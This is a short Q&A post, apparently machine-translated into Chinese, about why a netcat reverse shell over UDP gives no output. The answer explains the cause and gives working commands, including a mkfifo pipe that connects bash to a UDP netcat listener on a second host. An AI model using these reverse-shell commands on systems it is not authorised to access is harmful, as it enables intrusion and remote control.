使用 netcat 通过 UDP 获取反向 shell

Obtain reverse shell over UDP with netcat

我想使用 netcat 通过 UDP 获得反向 shell。 Netcat 默认通过 TCP 发送流量,所以为了通过 UDP 发送它,我 运行 -u 选项如下:

主持人 1:

nc.traditional -l -p 4444 -v -u

主持人 2:

nc.traditional localhost 4444 -e /bin/bash -u

但是当我输入 bash 命令时,我没有得到输出。这是为什么?

这有几个问题:

  1. 您在主机 2 上使用 localhost。这是一个特殊的主机名,指的是当前主机,而不是主机 1。
  2. UDP 没有连接。如果主机 1 没有首先收到消息,它将不知道将数据包发送到哪里。
  3. bash 逐字符读取输入,这不适用于基于非流数据包的数据。

您可以改为使用流连接 ncbash,然后立即发送数据包,以便主机 1 知道将您输入的命令发送到哪里:

主机 1:

nc.traditional -l -p 4444 -v -u

主持人 2:

mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{ 
  echo "Hi"
  bash
} > fifo